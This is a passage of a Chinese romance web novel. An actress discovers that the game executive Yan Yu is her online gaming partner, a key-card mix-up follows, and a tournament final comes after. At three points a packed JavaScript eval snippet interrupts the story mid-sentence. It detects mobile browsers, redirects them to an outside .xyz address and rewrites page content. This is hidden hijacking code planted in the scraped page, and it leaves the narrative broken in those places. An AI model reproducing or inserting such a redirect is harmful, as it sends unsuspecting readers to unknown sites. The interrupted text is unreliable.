然后,轻贴。 只是一个极其短暂的相碰。 元时亦手背立刻收回。 好烫。 灼人、烘软、陌生。 待心中平复,元时亦再次将手探上去,贴得久了些。 “量体温了吗?”她小声问身旁的施鎏。 施鎏小脑袋啄了啄,“量了,38.8度。” 这个度数,必须得吃药了,元时亦转过身,“药在哪儿?” 施鎏指指沙发前的矮几,“在那边,我去拿。” 元时亦刚要抬腿,薄毯下的人忽然伸出手指,扣住了她的手腕。 掌心的炽热传进腕骨,没有隔着防晒服,而是肌肤相贴,像一团燃烧的焰。 元时亦手指本能地蜷曲了下,回头,颜屿并未睁眼。 不想让她走吗? 生病的男人总是很脆弱,她理应顺着他。 漂亮的粉唇微张开,“好,我不动。” 元时亦沿着床边坐下,低声问取来药的施鎏:“他怎么突然发烧了?” “颜叔叔早晨起床就有点烧,”施鎏凑到元时亦耳边解释,“他昨天回来说爬山太热,就去洗了个冷——” “——水澡。” “水。” 颜屿终于将眼皮撑起,然而声音太沙哑,根本挡不住施鎏的“热心陈词”。 “嗷嗷嗷,水!”玻璃杯摆在床头柜,只是里面的水在之前就被颜屿喝完了,“我去倒。”施鎏拿起杯子就要跑,却被元时亦拦下,“我去吧。” 也不能什么都让小朋友干。 这回颜屿没有再阻止她,默默松开了手。 端来一杯温度适宜的水,元时亦取下颜屿额头的毛巾,将它递给施鎏,“把这个拿去帮姐姐洗一下可以吗?” “嗯嗯。”施鎏收到任务,一溜烟儿就消失在了卧室。 元时亦将杯子送过去,俯下身,“自己能吃吗?” 回答她的是一个很浅的“嗯”。 打开包装,元时亦把退烧药从药板挤到颜屿手心,“两片。” 盯着颜屿老老实实把药吃完,元时亦也像昨天那般低下头把脸凑到他面前,“发烧了为什么还要玩游戏?” 一双长眸垂下,躲闪着完全不敢看面前之人。 “游戏有那么重要吗?” 游戏有那么重要吗? 那个晚上,他 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“对,就是这个,小石榴真棒。”元时亦也悄声回他。 乐高是他从沪城回来时给施鎏带的礼物,施鎏这两天只搭了个底基,而现在,二人已经将这只星舰拼出了大致轮廓。 颜屿嘴角不自禁扬出弧度,他好像从来没有觉得这么放松过。 海面荡出波浪,映出金黄日光,温暖又动人。 只是有一件事他还瞒着她。 他该跟她说实话了。 颜屿心中响起鼓声,缓慢启唇:“元时亦。” 地毯上的女人被猝然出现的声音惊吓到,捏于指尖的积木块坠落,在地面上轻弹两下。 元时亦抬头,颜屿正伫立于门边,在看她。 海水永远柔软,只要揭开那层覆盖的纱。 黑宝石刹那间发了光,“你醒了?” 太亮了。 亮到他心尖颤抖。 颜屿目光闪烁开,虚握起拳挡在嘴前咳了咳,“我有事想跟你说。” 有事要说。 还直呼她的大名。 元时亦微卷的睫毛快速扑扇几下,身体里每一颗细胞都好似在叫嚣,在庆祝,在狂欢。 就在她点头的瞬间,手机铃声骤然响起,将粉色糖壳狠心打破。 一抹绯红染上面颊,“我先接个电话。” “好。”他不急。 然而待她看清屏幕上的三个字,元时亦只觉脑中一嗡,她猛地将手机反盖住,视线一个锁定,头也不回地冲进卫生间,“借用一下!” 事发得太突然,一股不好的预感从心底冒出,颜屿迈开步伐紧跟而去。 结果门刚关上,里面就立刻传来一阵尖叫,这道叫声已极力在克制音量,却仍旧无法掩盖其中怒意。 下意识地,颜屿抬起手想要敲门询问,只是手到门边,还是没能靠上去,他不想打扰到她。 不过片刻,门被打开,可这双眼里充盈的,是他从未见过的慌乱。 “抱歉抱歉,我现在有点急事,我先去处理一下,处理完我就回来。” “是发生了什么很严重的事情吗?”颜屿跟在她身后。 “没有没有!我很快就能解决掉,”元时亦急得语言系统都要混乱,“解决完我立马回来,很快哈!” “好,慢点,注意安全。” “嗯嗯嗯。”元时亦转动把手,夺门而出。 她就像一阵风,毫不停留地离开了他的领地。 而直到今夜过去,她都没有再回来。 27. 试试 早上七点,元时亦被闹钟吵醒。 她现在正在岫围镇外的某个城堡酒店内,距离剧组近百公里。 “啧,忘关闹钟了。” 昨天下午。 接通许其知的电话后,元时亦当场就是一个尖锐爆鸣。 “片场门口,五分钟。” 许其知说五分钟,那就一秒钟都不会多等。 “大哥我人在酒店啊啊啊!” 四分五十八秒。 元时亦出现在片场入口,她大口喘着气,而入口旁的许其知已然发动了车子。 许其知降下车窗,“上车。” 元时亦挡住脸,压低声音咆哮:“我不是让你别来吗?!” “赶紧滚蛋!!!” 值得庆幸的是,他没有开来那辆具有标志性的定制跑车,而是开着当初她换给他的,米白色的迈巴赫。 车内,许其知戴着一副拉风的高定墨镜,背头,锋利下颌线转动,“你确定要一直站在外面跟我吵?” 被直指核心的元时亦一下堵住发泄口,门口保安亭的大叔已探出脑袋在明中观察,再加上偶尔经过的三两路人…… 玉瓷般的脸烧得通红,拉开车门,她生气地坐进副驾驶。 “你到底有没有听我说话?我最近忙得要死,没空招架你这尊大佛!” “我问过了,你这几天戏份不多。” “你!” “所以我帮你请了假,明天晚上送你回来。” 许其知依旧不慌不忙:“剧组产生的所有损失我已支付。” “许其知!” 元时亦被气到两眼一黑,入行这么多年,如果不是遇到什么突发状况,她没有临时请过一次假,一旦有什么事需要处理,她只会提前把自己那部分工作完成,而不是成为拖团队后腿的那一个。 可许其知从来都是极端专制,说一不二。 做完一次彻底的深呼吸,元时亦开启猛猛输出模式:“许其知你是不是看不懂人话,我说了别来别来还非要来,在集团做主惯了,真把自己当土皇帝了是吧,独断专行的狗东西!” 三个字刚一落下,一道银铃般的笑声就从背后传来。 元时亦一惊,怎么还有其他人?! 她猛然回头,闯入眼帘的,正是那位网络所盛传的,翅膀硬了的年轻影后,“阿萤?!” 夏萤轻点了下头,“好久不见,时亦。” 而元时亦显然还没从震惊中恢复过来。 人人都说她哥心狠手辣,做事太绝,没有人知道,当年是夏萤自己离开了演艺圈。 彼时她还指着这些娱乐新闻嘲笑他,网上都传是你封杀了她,殊不知是人家抛弃了你。 一度把许其知气到满脸铁青。 她没想到的是,夏萤这一走就是三年。 下一个路口,元时亦让许其知靠边停车,她去到后座,跟夏萤一起。 如果说周三月是她学生时代第一位挚友,那么夏萤就是她步入社会后的第一位挚友,哪怕夏萤曾经告诉过她,她是为了接近她哥,才去主动认识她的。 好友重逢,自然是有说不完的话。 许其知载着二人去了镇外一家高档餐厅。 直到回到酒店,她才想起她忘了一件重要的事。 因为出来得匆忙,她手机在半路上就没了电,再加上注意力被转移,也就忘了还有个人在等着她。 等她充上电将手机打开,才发现已经过了零点。 颜屿在两小时前给她发来一条消息:【事情有处理好吗?】 看到左上角的时间,元时亦犹豫了下才点开输入框。 【元时亦:暂时还没有,要到明晚了,我明晚回剧组】 不知道他手机是否静音,她怕这个点会打扰到他休息。 而那头的人仍旧未睡。 颜屿很快发来一个【好】。 随即又加上一句:【早点休息,晚安】。 两人都心照不宣地没有提那件事。 也对,还是等她回去,找个机会正式说比较好。 元时亦睡完回笼觉,醒来时刚过十点。 既然假已经请了,她就当给自己放松一天。 许其知带着她们去了附近的景点游玩,等吃过晚饭才启程去镇内。 元时亦让他把车停到离酒店稍远一点的地方,天已黑下,车漆扎眼,容易被人发现。 与二人告别完,元时亦低着头鬼鬼祟祟往大道上挪,直到来到酒店附近,她才挺直身子抻了抻腰。 总算是回来了。 还不到晚上八点,很适合出去小酌一杯。 没有走进酒店,她点开与颜屿的微信。 【元时亦:我回来啦,都解决好了[愉快]】 那头回得很快。 【颜屿:那就好】 【元时亦:你现在有空吗】 她这个暗示应该很明显了吧。 然而她并不知晓,在她从那辆车上下来以前,就有一个人一直等在不远处,默默注视着这一切。 他保持着足够的安全距离跟在她身后,看着她一路回酒店,看着她跟他发消息。 她站在霓虹灯光下,而他身处漆黑暗夜中。 【颜屿:在忙】 【元时亦:好吧】 晚上说这些确实也不太合适。 【元时亦:那下周六,那天我应该可以休息】 今天周日,许其知给她请了一天假,她下周得先把戏份补上。等工作上的事情处理完,她就能安安心心跟他“说事”了。 【颜屿:好。】 收起手机,元时亦踏入酒店。 而街道尽头,颜屿拨通了一个电话,“去帮我查个人。” - 带着这份期待,元时亦一路顺畅地来到周五。 今天何曦过来探班,会在剧组留半个月。 元时亦问她:“你事情都忙完了吗,怎么突然过来?” “是老陶让我来的,他让我过来看看你。”老陶是她经纪公司的老板,“我也是忙完了才能赶过来。” 那天回剧组后,她私下打听了一圈,才知道假是直接由老陶帮她请下来的,那么这次所谓的老陶让何曦来,搞不好也是因为许其知。 不知道他又要闹什么幺蛾子。 “你今天戏份不多吗?还能过来接我。” 何曦抵达岫围镇后,元时亦跟路芙一起到片场入口等她。 “不多,下午一场晚上一场,下午这场刚结束。” “行。”话刚说完,何曦肚子“咕咕”叫了两声。 “你没吃饭?”元时亦惊讶。 刚过四点,午晚饭之间,而何曦看起来已经饿了很久。 何曦苦笑了下,“好久没坐这么长的飞机了,有点晕机。” “那小芙,你带曦姐去吃点东西吧。”元时亦拍拍身旁的路芙,“岫围好吃的很多,你看,小芙最近是不是圆润了点。” “哎呀,姐!”路芙埋怨一声,随即又道,“那我们都走了你怎么办?” “我就在房车里休息,打会儿游戏什么的。” 送走两人,元时亦返回片场。 今晚的夜戏有点长,大概率会拍到零点左右,她需要提前把游戏日常清完。 盘起腿,元时亦坐在房车沙发上。最近游戏更新了一些小活动,专为决赛助兴,所以这几天她在游戏里泡的时间就久了些。 情缘系统也增加了一点限时任务,玩家可以趁此机会多刷亲密度,加快情缘技能的升级,其中一个小任务是情缘每日聊天打卡,元时亦就每天跟与山言互扣1,把任务完成。 看到对面亮着的头像,元时亦顿了顿,这周她跟与山言几乎没有同时在线过,这么乍一看到去,她还有些不习惯。 消息发出前,她不小心点到与山言的资料。 页面弹出,元时亦立马被定在原地。 那把通用的顶级武器正戴在与山言的身后。 黑色长刀,光影流动。 这实物也太够劲了,比她想象中还要帅百倍、千倍。 她恨不能伸手进去把它抠到自己的游戏人物上。 要不后面去拜托颜屿,帮忙问问制作组可不可以开放购买渠道? 不不不行,元时亦连忙摇头,这样的话这把武器就不够稀有了,而且对那些靠技术赢得奖励的玩家来说也不公平。 反正与老板在线,不如干脆现在就找他借用试试。 作为一个兴致来了超容易上头的人,元时亦只犹豫了半秒就把输入框里的【1】去掉,换成了【与老板】。 啧,不好,这个称呼实在太平常了,不够诚恳,好歹是找人家借这么重要的东西,她得“狗腿子”一点,提供好情绪价值,这样人家才会心甘情愿把顶武借她。 于是,她把消息分成一条条,并单独拎出武器名,让对面能好好感受到她的“诚心”与“用意”。 【大佬】 【你那个】 【□□】 【看起来好厉害啊】 【能让我试试吗?[眼馋]】 结果连串的五条消息发出去,与山言不仅没给回复,还立马下线了。 看见忽然黑掉的头像,元时亦一愣,不会吧这么巧,正好撞上人家退游戏,那他说不定都没看见她发的东西。 元时亦叹口气,既然如此,只能后面再找机会问他了。 她不知道的是,因为武器名字打错了一个字,她那句话正好被屏蔽掉,没发出去。 - 一分钟前,酒店内。 颜屿收到元时亦的四条消息时,整个人直接怔愣在手机屏幕前。 她要试什么? 他们这支亲友队在此之前并未讨论过借用一事,因此他第一时间没能联想到武器之上,直到他进入后台,看见聊天记录里元时亦被屏蔽掉的那句话。 原来是武器。 颜屿扶额。 原来只是武器。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290606|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可他的思维为什么会跑得这么偏。 他怎么会—— 手机在这时响起。 是夏季。 上周日晚,他给手下人打去电话,他想知道送她回来的是谁。 那个男人开着她父亲送给她的成人礼。 他们是何种关系,以至于他可以随意开她的车,可以让一向敬业的她去请假,甚至可以让她在那种时刻,抛下他,忘记他。 隔着街道,他在车窗上升前,与那个男人对视了一眼,光线太暗,他看不清他的脸。 他只记得那双眼睛,锐利、阴鸷,绝不会是普通之人。 一天后他得知,那是许氏集团唯一继承人,许其知。 许氏,以金融行业起家,后涉足地产、能源、制造、医疗、文娱、科技等多个领域,建立起一座庞大的商业帝国,并拥有多条完整的跨国产业链,是实实在在的,顶级财阀。 圈内都知她无任何背景,可她却和许其知有交集。 那他们会是什么关系? 然而整整三天过去,他都没有查到任何有用的信息。 竟然被隐藏得这么严? 只是越是严,他反倒是越放心,这说明,事情或许不像他想得那么糟。 没有继续让手下人调查,他去找了夏季。 他让夏季去查许其知的家庭关系。从私人宴会、必要场合入手,去搜罗和分析流露出来的照片。 他猜,许其知或许有个妹妹。 电话接通。 夏季:“你猜对了。” 颜屿安下心,幸好。 看着电脑屏幕上的聊天记录,颜屿脸上浮出一个不自知的笑,既然消息被屏蔽了,那他何不顺势而为呢? - 零点,元时亦终于下戏。 十分钟前,她看到何曦离开片场,以为是她身体熬不住。 等她回到房间,却发现何曦正等在门口。 何曦朝她递来一个硬质小信封。 “这是什么?” “颜总助理刚给我的,”何曦挑了挑眉,“他转述的原话是:她看了就能明白是什么意思。” 提到颜屿,元时亦的思绪猛然绷紧,是他给她的?还说她看了就能明白? 那会是什么。 元时亦轻眨眼睫,信封,难不成里面装的是手写信? “看来我不在的几个月,你都有小秘密了。” 元时亦耳边鼓声渐大,“没有……” “好了,我不打扰你。” 接下信封,她将何曦送走。 信这种事,还是带有一点私密性的,得单独看。 然而元时亦怎么也没想到,打开信封,躺在里面的,竟是一张—— 房卡。 颜屿房间的房卡。 嗡。 元时亦脑中一阵嗡鸣。 怎么会是一张房卡? 他这是什么意思,让她拿着房卡去找他吗?还是现在这种时间,零点,凌晨? 在圈内待了这么久,她不会不明白房卡的潜层含义。 所以他跟她铺垫了这么长时间,也同样是为了那种事? 她以为他跟那种人不一样。 她以为他沉稳儒雅、文质彬彬,是个货真价实的正人君子。 可实际上他与那种人根本就别无二致! 无非是,他愿意花时间,愿意使手段,想让她心甘情愿跳入陷阱。 捏住信封的手指收紧,元时亦将房卡重新塞回去。 她等了这么多天,以为会是认真的,正式的,甚至是郑重的,庄重的。 结果等来的却是一张意味不明的房卡。 暴雨倾盆,如石子般的雨滴狠狠砸下,这棵小芽才刚刚冲出土壤,就被砸至夭折。 走出房间,她打算去找颜屿当面说清楚。 至于这段时间的接触。 ——就当是她眼瞎。 是她识人不清,看人不准。 来到酒店顶楼套房,元时亦站在门外,将门敲响。 来的路上,她已经想好了各种后果。 对于这种事,她不是没有经验,无非是被刁难、被删戏,甚至被直接换掉,这些她都经历过,想让她违背原则,不可能。 两分钟后,门被打开,淡淡的沐浴露香先一步传来。 颜屿穿着一件丝绸睡袍,胸口微敞着,露出紧实的肌肉。有水珠挂在发梢,颈侧,胸前,他显然是刚洗完澡。 “来了。” 来个屁啊! 元时亦本还有一瞬的恍惚,待两个字一出,她立刻被拉回现实。 伸出手,那个被她捏皱的信封正夹在她两指之间。她将它递回去,言语中充满冷意,“抱歉颜总,我不接受潜规则。” 而门内,颜屿只是垂眼看她,淡淡开口:“你不是问我,能不能让你试试吗?” 我说什么时候说过让我试试了?? 元时亦双眼瞪大,不对! 28. 后果 “你是与山言???” 一个难以置信的答案汇聚而出。 元时亦脑袋似被雷击,整个人定在原地。 颜屿目光未动,只回答了一个简单明了的“嗯”,却也是打破平静海面,掀起惊涛骇浪的“嗯”。 “不可能!”元时亦大脑飞速转动,她明明、明明记得那天,“我跟你solo的时候与山言还上线了,你怎么可能是他?” 颜屿神情坦然,“我让朋友帮忙上的。” “你,让,朋友?”元时亦语言系统直接卡壳。 所以,他真的就是与山言。 是那个她差点就要找到正确方向,却被生生拉偏的人。 元时亦足足花费一分钟时间才接受这个事实。 没有人能在重磅炸弹下保持冷静。 如果有,就再加一记。 “我想跟你说的就是这件事。” “啊?”他要跟她说的居然是这件事?! 而不是什么她所以为的…… 连串的意料之外袭来,元时亦招架不住,她甚至要忘了自己此行的目的。 颜屿很清楚,在他无法保证元时亦不会为此事生气前,他可以塞入一些其他事情,转移她的注意力,“我以为你已经猜到了,所以才会突然跟我说,让你试试。” 话题总算回到正轨,而元时亦却一头雾水,“什么啊,我是要借用武器啊,试武器!” 颜屿当然知道她会这么说,他拿起放在一旁的手机,将聊天记录给她看。 然后,一脸平淡地装傻,“什么武器?” 屏幕上,显然只有除了重点外的另外四句。 【大佬】 【你那个】 【看起来好厉害啊】 【能让我试试吗?[眼馋]】 元时亦滑动屏幕,不对,怎么会只有四条,我刀呢,我那明晃晃的【黑刀】呢? 灵光乍现,她猛然想起,因为手速太快,【黑刀】两个字被她按照【黑.道】发了出去,那时她只寻思与老板应该能看懂,便没有去破坏那个队形,谁知这两个字居然会被直接屏蔽掉! 而这带有深意的四句话,还附上一个[眼馋]表情包。 的确有一丝跑偏的可能。 难以接受的元时亦拿出手机,重新打了一遍【黑.道】发过去,果然,她这边是能显示,对面却根本无法收到。 “看来是场误会,”颜屿抽出还夹在元时亦手指里的信封,乘胜追击,“是我想偏了。” 他后退一步,拉过房门,将这场戏完美闭幕,“那我先睡觉了,好梦。” 不对,不对,这一定有哪里不对! “等——” “砰。”关门声响起,将一切混沌终结。 元时亦缓慢放下手,就,睡了? 所以,他不是要“潜”她?而是他以为她要“试试”他? 这一切都只是一场误会? 元时亦像骤然生锈的机器,机械地眨眼,转身,迈步,CPU被烧干,主板却还在正常运行。 不出意外的,她失眠了。 翻出游戏和微信的聊天记录,元时亦开始一步步倒推出事件始末。 发烧导致的状态差。 熟悉的操作习惯。 痛经时及时的糖水。 以及语音频道里的那句“颜叔叔”。 这些巧到违和的事似乎在这一刻全都得到了解释。 难怪新副本那天他会说她有空,因为那天也是开机,江燚给大家放了假。 难怪他会突兀地跟她解释自己看不清人,是因为他在语音里听到了她的吐槽。 吐槽—— 等等,元时亦飞快点开与周三月的聊天记录。 除了吐槽他无视她以外,她最最最开始,还吐槽过一件跟他有关的事。 回忆模式迅速启动,她们俩当时怎么说的来着。 “他会不会是暗恋你”,“想吸引你的注意”。 “有这么吸引注意的吗”,“我这辈子都会躲着他走”。 “你个糟糕的性单恋”。 【我不知道你们在聊私事】 【赔礼】 透水的眸子在黑暗中一点点放大。 这简直比他在泳池边无视她那件事还要社!死! 元时亦脚趾曲紧。 他有没有猜到她俩是在说他? 她是说的很隐晦,可是他又听到了多少? 啊啊啊—— 元时亦一头扎进枕头,再醒来时已经快要下午两点。 而今天也是《诸灵》手游的决赛。 周三月给她发来消息。 【周三月:宝,比赛要开始啦,上游戏一起看吧,咱们几个都在呢】 各大平台虽然也有实时直播,但不如游戏内四个人一起看热闹。 元时亦揉揉尚且迷糊的眼,对哦,今天是决赛。 【元时亦:睡过了,马上来】 然而等她上线看见【与山言】三个字,才猛地想起今天凌晨都发生了什么。 那张脸不自觉浮现在脑海中,元时亦整个人立刻清醒。 语音频道内很热闹。 “与老板加油!”钻家化身拉拉队队长,在各种鼓劲打气,“与老板别有压力,咱们都进决赛了,随便哪个名次都很棒哈!” 周三月、甘霖夫妇也紧跟其上,“加油、加油,与老板加油!”他们俩提前准备好了助威道具,拍手器声和口哨声此起彼伏,不断回荡。 作为队里唯一一支独苗,还是进了决赛的独苗,与山言被寄予了全村人的希望。 只是这么几相对比下,某个人就显得异常冷漠。 元时亦不仅什么都没准备,连“加油”两个字都卡在喉咙间怎么也说不出口。 “嗯,谢谢大家,”没有再掩饰自己的音色,颜屿回应,“我一定加油。” 元时亦心尖一颤,果然是他的声音。 而直到颜屿退出语音去参加比赛,元时亦都没能跟他说一个字。 钻家再次出声打破沉默,“我先下游戏了哈,今天要值班,我只是上来跟与老板加个油,你们三个要好好当好拉拉队哟!”话一落下人便消失在了频道中。 “那我也先下……”元时亦顺着话头也想消失,她心里有点乱。 周三月连忙拦住,“别呀!”她让甘霖去了客厅,频道内就只剩下姐妹两人。 周三月察觉到了她的不对,“宝,你今天好安静啊。”安静到一个字都未多说。 元时亦埋头。 她也不知到底是怎么了。 她好像还没能从那件事中走出来。 周三月追问:“是发生什么事了吗?” 元时亦支支吾吾,这种事,她该怎么说。 “不会是又下头了吧?”她一向很了解她。 既然三月已经猜到,那便没必要再瞒,“下了,但没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元时亦简直要气笑了:“你真是我的好闺蜜啊周三月!” “这不,这不为团队考虑嘛。” 元时亦虽然知道她只是开玩笑,可这个问题确实重要。 点开情缘系统,元时亦目光触碰到经验栏,只差一次任务就可以升级情缘技能了。 她与与山言绑情缘绑了大半年,亲密度从一位数养到五位数,情缘技能从一级养到四级,哪一项她都舍不得,尤其是这情缘技能升到越高越好用,CD短不说,复活后的血量也在增加,简直是打本一大利器,要是真“死情缘”,她还得再重新花时间培养。 这沉没陈本,着实有些大。 两条浅色的眉纠在一起,元时亦抬手抚上额头,好难抉择。 而人在举棋不定时,只一个小小的推助,就能让这摇晃的天平立即倾斜至稳定。 私聊框亮起。 【与山言:情缘任务,做吗?】 元时亦:…… 行,她承认她被拿捏了。 抿住嘴唇,元时亦不情不愿打出一个字。 【亦有时:做】 29. 庆祝 “输了?”晚八点,约定好的打本时间,钻家一进麦就发出痛心疾首的声音,“怎么会输呢,是不是你们几个后援没做到位,呜呜呜。” 周三月赶忙岔开话题,避免他把注意力放在“后援”二字上,“不准上压力嗷,你之前不说随便什么名次都可以嘛。” “哎呀,咱这不是没想到与老板这么争气,既然进到最后,那不得期待下保二争一什么的。” 本次决赛的赛程安排为:十六进八,三局两胜制,同时举行;后八进四、四进二,三局两胜制,按序举行;最终决赛则为五局三胜制。 层层比拼结束,战至最后的两位玩家毋庸置疑是本次比赛中实力最强的两位选手。与山言与另一位玩家技术相当,两人将五局比赛完全打满,难分高下,这场决战不可谓不精彩。 元时亦也同样感到惋惜,尤其是与山言还是让二追三先一步拿到赛点。 只是在得知与山言的真实身份后,她很难再像之前那样,无所顾忌地内畅所欲言了。 与颜屿一同进入到最后的玩家正是长水,明焰与长水,这除了是两位玩家之间的较量,也同样是水与火的对决,水火向来不容,每一位玩家都很好奇,水是不是真的能灭火——而最终结果显示,水终究是更胜一筹。 几人边打本边聊天,钻家将直播回放调出,奶人的同时不忘点评颜屿的操作。 “与老板,第三局这里你是想断他的增益技能吧,但是你断完怎么卡住了,”钻家同样熟悉与山言的操作,“不是应该秒接控制技能吗?” “当时走神了。”平稳的声线传出,略带温沉,与平时一致。 他的身份既然已经暴露,很多事情就不用再去遮掩,包括他真实的声音。 “走神了?”同为操作怪的甘霖发出疑问,像这样的特殊连招,理应是会形成肌肉记忆,以免技能衔接不上。 “嗯,想到了自己犯的错。” 错—— 别人或许不知道他在说什么,但元时亦清楚,听元时亦讲故事的周三月也同样清楚,她了然地“哦”了一声,转着语调拖长尾音,“不会是那次solo给与老板打出ptsd了吧?” 钻家:“solo?什么solo?什么solo能给与老板打出阴影来?” 颜屿本想说不是,可捕捉到元时亦不小心露出的一点音节后,他话锋一转,语气轻幽地回到,“差不多吧。” 听到颜屿的肯定,元时亦下意识屏住呼吸,这么说他的失利确实有她的缘故……? 原本她是不该在意这件事的,可一想到自己不仅没有跟他说“加油”,还意外“影响”到他打比赛,元时亦心中一阵松动,她是不是该说点什么,哪怕只是简单的安慰——毕竟,瞒着现实身份,也不能算什么错吧。 这么想着,元时亦手指轻点私聊框,心一急头一热,给颜屿发过去一个点【.】。 她还是不知道要怎么跟他正常对话。 在得知他是颜屿后,她从震惊到窘迫,再到社死跟尴尬,最后只剩下逃、躲,不想面对。 看到她的消息,颜屿嘴角不自觉勾住,还是不吓她了。 “没有,我开玩笑的。” 元时亦:? “那位玩家技术很好,让二是在熟悉我的操作习惯,他很聪明。”颜屿慢慢解释着,他不是个会推卸责任的人,输了就是技不如人,没有借口,“我停下来是因为他预判到了我的想法,正常长水被断增益技能是不会放霸体的,但是他放了,那么我再接控制也没有用。” 霸体免疫控制,他连招即使衔接上也是浪费。 再者,那时他的确恍惚了一瞬。就像元时亦没有见过会断增益技能的明焰一样,他也没有见过会应对这个技巧的长水,除了元时亦。那时的11练习,他利用这一点打断过几次元时亦的节奏,在他告知她这个连招前,她就先摸索出了一套应对方式,提前放霸体。虽然她的时机卡得还不是很准,可已经知道该如何避免这个破绽了。 他恍惚除了想起她,还想到自己不该使用这个技巧太多次,平常的11通常都只有一局,这样短的时间,对手通常都很难熟悉他的操作,而这次有五局,对面有足够的时间调整作战方案,他一旦暴露这个特殊习惯,就很容易被人找到反制之法。 “哇,与老板,你一口气说了好多话啊。”钻家已然忘了刚才好奇的事,他从来没见过与山言一次性说这么多个字,“都不像人机了。” 颜屿:“……” 元时亦就不这么想,她宁愿他还是跟以前那样,继续当他的人机!!! 他居然是在开玩笑?! 敢情她刚才白担心了! 她还主动给他发消息,虽然只有一个点,但但但,这是很重要的一个点—— 【与山言:可以不生我气了吗?】 【心可鉴】×10,亲密度+990。 不可以! 10个礼物也不可以!!! 【心可鉴】×99,亲密度+9。 情缘亲密度每日通过道具增加的亲密度有限,上限为每日999,而元时亦本身是不需要这个的,用她的话说,礼物刷上去的亲密度总归不如两人刷的真实。 只是这礼物附带“粉红爱心”的小特效,此刻,元时亦的游戏人物上正在不断往外冒爱心。 周三月:“哇,亦亦,你洒了一路的爱心耶。” 钻家:“卧槽,怎么不停的啊,这早超上限了吧。” 甘霖:“超了,已经第29、30、31……” 周三月:“我突然好心疼钱啊哈哈。” 元时亦:…… 钻家:“与老板今天怎么这么热情,好不习惯。”与山言不仅说了很多话,还送出了很多“爱意”,“还是说这是富哥庆祝比赛的特殊方式?” “以后会习惯的,”压抑情绪的几个字说完,颜屿打开商城,继续购买,“确实也算一种庆祝。” 而元时亦这边。 习惯个屁啊,庆祝以后都不用装了是吗? 【心可鉴】×99。 【心可鉴】×99。 …… 元时亦:尼玛。 私聊框亮起,周三月发来消息。 【二月加一:宝,你跟他说啥了,调成这样?】 【亦有时:[微笑]我什么也没说】 她绝对不可能承认,刚才因为小小地心疼了他一下,而去主动跟他发消息。 当然也包括下一条。 【亦有时:够了!!!】 - 三天后。 《诸灵》剧组的官博在比赛结束那天发了一条提前录制好的视频,祝贺《诸灵》手游第一次官方比赛取得圆满成功。 两个项目虽说一个是影视,一个是游戏,但怎么说都源自一家,不管是原著,还是制作。 因此,手游项目组为表答谢,为剧组安排了一次全员聚餐。地点选的是岫围镇最高档的餐厅,包场。 由于事发突然,江燚没有强制要求所有人都参加,只说有空的都来尝尝,毕竟这规格,平常也享受不到。 元时亦不是很想有空。 她看到大群里都在庆祝欢呼,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290608|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人感谢临时加入的手游组对接人,对接人则表示是颜总提高了预算,直接按最高标准,于是众人将目标转向颜屿,疯狂接龙[谢谢老板]。 而颜屿只出现了一次,在她发完表情包后,他接了一个[不客气·可爱版]。 元时亦滑屏幕的手一顿,就等着她发表情呢是吧! 路芙待在一旁,开心问,“姐,咱们什么时候出发?” 路芙搓着手,一脸期待。那天她带何曦出去觅食,两人路过这家餐厅时,纷纷流下了渴望的泪水,然而人均属实有点超预算,何曦只想简单吃个便饭,便拉着她匆匆离开了。 谁知今天就赶上了这等好事,还是包场、白嫖! “要不你跟曦姐去吧,”元时亦捂着肚子,“我身体不是很舒服。” 这场聚餐颜屿肯定会去,既然如此,她就不去凑这个热闹了。 这几天,她都一直在躲着他。 除了他偶尔来探班,她不得不见到这个人。只是不管什么情况下,她都尽量避免跟这个人独处,甚至是对视。 而颜屿似乎也察觉到这件事,今天都没有出现在片场。 “啊?”路芙可怜兮兮地望她,“你都不去的话,那我们——” 元时亦拍拍路芙肩膀,“没事的,你们去吧,如果有人问就帮我说一声。”她不想被看出什么异常,只能尽量不扫她俩的兴。 “那好吧,需要我们帮你打包一点吗?”路芙又问。 本想说不用的元时亦看见路芙关切的眼神,只好点头,“带你觉得好吃的就行。” “好!” 没想到不到一个小时的时间,她就收到路芙打来的视频,她以为是路芙想问她需要哪些食物。 “姐,好奇怪哦今天。”路芙悄声在桌边跟她说话。 “怎么了?” “好像大家都来了,就你跟颜总没来。” ??? 元时亦一个坐直,哈?! “我跟大家说你身体不舒服,结果陆齐也说颜总身体不舒服。” 元时亦:“……” 路芙不确定地问:“那你还来吗,还没开始上菜。” 忽然,她似是想到什么,小声惊呼:“姐,你俩不会在一起呢吧?!” “没有!”元时亦立马反驳,她躲他都来不及,还跟他在一起! 这男人搞什么啊,手游组组织的聚餐他居然不去??? “我马上过来!”元时亦抓起帽子,飞快出门。 餐厅地点离酒店不远,十分钟路程。 然而她才行至一半,路芙又给她发来消息。 